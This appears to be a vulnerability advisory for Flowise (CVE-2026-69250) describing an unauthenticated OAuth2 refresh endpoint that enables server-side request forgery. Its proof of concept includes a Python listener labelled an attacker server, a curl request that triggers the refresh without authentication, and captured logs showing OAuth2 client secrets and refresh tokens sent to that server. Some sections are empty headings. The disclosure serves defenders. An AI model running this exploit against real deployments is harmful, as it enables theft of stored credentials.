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Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

CVE-2026-69250 ยท 2026-08-04 high

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Server-side request forgery
Affected
flowise (npm)
Gets past
Authentication check
CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS
0.6% chance of exploitation in 30 days

How it works, in short

The OAuth2 refresh route is whitelisted from auth and sends server-side requests to a credential-supplied token URL without SSRF checks, returning the remote response to the caller. (Our summary, written by a model. The source text is below.)

Details

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

PoC

Environment used

Step 1: Start attacker server

python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

Step 3: Trigger refresh without auth

curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:
- unauthenticated trigger,
- server-side POST to attacker-controlled URL,
- exfiltration of OAuth2 secrets in POST body,
- full response reflection to client (tokenInfo).

Impact

References

Source: GitHub Advisory Database, used under CC BY 4.0.